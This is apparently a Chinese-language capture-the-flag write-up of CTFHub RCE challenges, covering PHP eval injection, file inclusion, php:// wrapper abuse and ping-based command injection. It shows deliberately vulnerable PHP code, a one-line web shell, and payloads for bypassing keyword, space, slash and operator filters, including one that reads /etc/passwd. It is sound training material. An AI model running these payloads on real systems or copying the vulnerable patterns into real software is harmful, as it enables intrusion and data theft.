引言
题目共有如下类型
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209171809927.png)
什么是RCE漏洞
RCE漏洞,全称是Remote Code Execution 漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码
eval执行
分析源码:
php
<?php
if (isset($_REQUEST['cmd'])) { //检查是否有cmd参数且不为空
eval($_REQUEST["cmd"]); //执行cmd传入的php代码
} else {
highlight_file(__FILE__);
}
?>
执行命令查看当前目录
php
?cmd=system("ls");
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207164655930.png)
查看根目录或者上级目录一个一个查找
php
?cmd=system("ls /");
?cmd=system("ls ../../../");
发现flag文件
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207164833196.png)
cat /flag_8751即可
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207164939167.png)
文件包含
文件包含
源码审计
php
<?php
error_reporting(0);
if (isset($_GET['file'])) { //检查是否存在file参数且不为空
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ? //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>
利用文件包含读取shell.txt
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207170820304.png)
先了解一下**_REQUEST** 函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,`_REQUEST` 变量包含了通过 GET 、POST 和 COOKIE 方法传递的数据 ,所以可以利用POST或cookie 传入ctfhub变量
查看根目录
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207171013974.png)
查找flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207171104116.png)
php://input
源码分析
php
<?php
if (isset($_GET['file'])) { //检查是否存在file参数
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查参数前6位是否为 php:// ,是则执行
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接
查看phpinfo.php文件,发现此处
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207171709122.png)
抓包构造命令执行 ,因为有php://input ,故会执行传入的php代码
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207173845974.png)
查看flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207174001039.png)
这里也可以利用php伪协议 ,会得到一串base64加密的flag,解密即可
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207174055536.png)
或者:
![](https://track123.oss-cn-beijing.aliyuncs.com/20250207174218097.png)
读取源代码
源码审计
php
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) { //检查file参数是否以 php:// 开头
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__); //代码高亮,显示源码
}
?>
i don't have shell, how to get flag?
flag in <code>/flag</code> //flag在根目录
php伪协议读取flag
php
?file=php://filter/read=/resource=/flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250208172657877.png)
远程包含
源码审计
php
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) { //过滤flag字符串
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
给了一个phpinfo() 界面,根据题目提示,还是文件包含题,抓包利用php;//input读取
查看根目录
![](https://track123.oss-cn-beijing.aliyuncs.com/20250208180906252.png)
读取flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250208181001573.png)
命令注入
-
这里需要了解一下常见的命令分隔符
-
; : 无论前面是否执行,后面都执行
-
**||(逻辑或):**前命令失败执行后命令,如果前命令成功则不执行后命令
-
**| :**前者结果作为后者参数使用
-
**&& :**前命令成功执行后命令,如果失败则不执行后命令
-
**\n:**换行符,url编码%0a
-
%0a (换行)
-
%0d (回车)
无过滤
没有做任何过滤
先ping一下
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209120831022.png)
查看该目录 ,使用 127.0.0.1; ls 也是可以的
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209120910155.png)
查看26398804916519.php
php
127.0.0.1 | cat 26398804916519.php
发现flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209121245554.png)
过滤cat
查看源码:
php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/cat/", $ip, $m)) { //过滤了cat字符串
$cmd = "ping -c 4 {$ip}"; //windows默认ping4次,Linux不设置次数会一直ping
exec($cmd, $res);
} else {
$res = $m;
}
}
查看当前目录
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209121545141.png)
因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail 等
nl 查看,得到flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209121938816.png)
或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为两个字符串,则绕过cat过滤
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209122139029.png)
过滤空格
查看源码
php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) { //只过滤了空格
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
先查看当前目录,得到flag文件 flag_11971489425983.php
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209123050233.png)
这里介绍几个绕过空格的方法
php
$IFS$9 %09 <> < {cat,flag}
可以绕过空格
php
127.0.0.1;cat$IFS$9flag_11971489425983.php
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209123528732.png)
过滤目录分隔符
几种常见的 / 符号绕过方法
php
改变工作目录:cd xxx 避免使用 / 符号
环境变量截取: ${PATH:0:1} ${HOME:0:1}
编码绕过:8进制: $(printf "\57") 16进制: $'\x2f' $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd cat `echo /`etc`echo /`passwd
通配符替代(部分路径已知):/???/cat /???/passwd //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*');
提示:
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209160708256.png)
源码
php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/\//", $ip, $m)) { //过滤了 / 符号
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
查看当前目录
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209163512670.png)
进入该目录并查看
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209163601247.png)
执行以下命令读取flag文件
php
127.0.0.1;cd flag_is_here;cat flag_29914267619184.php
得到flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209162214801.png)
过滤运算符
查看源码,可以利用 **;**绕过
php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) { //利用正则匹配过滤了 | 和 &
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
查看当前目录
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209170350520.png)
执行以下命令
php
127.0.0.1;cat flag_4351260182213.php
得到flag
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209165053076.png)
综合过滤练习
源码审计
php
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { //过滤了 | & ; 空格 / cat flag ctfhub
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
利用换行符**%0a绕过**查看当前目录
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209171041032.png)
查看根目录,没有有用信息,flag应该存在flag_is_here目录下
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209171243444.png)
执行以下命令
php
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als //flag被过滤,需要绕过
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209171531827.png)
查看该flag
php
?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php //绕过cat
![](https://track123.oss-cn-beijing.aliyuncs.com/20250209171640085.png)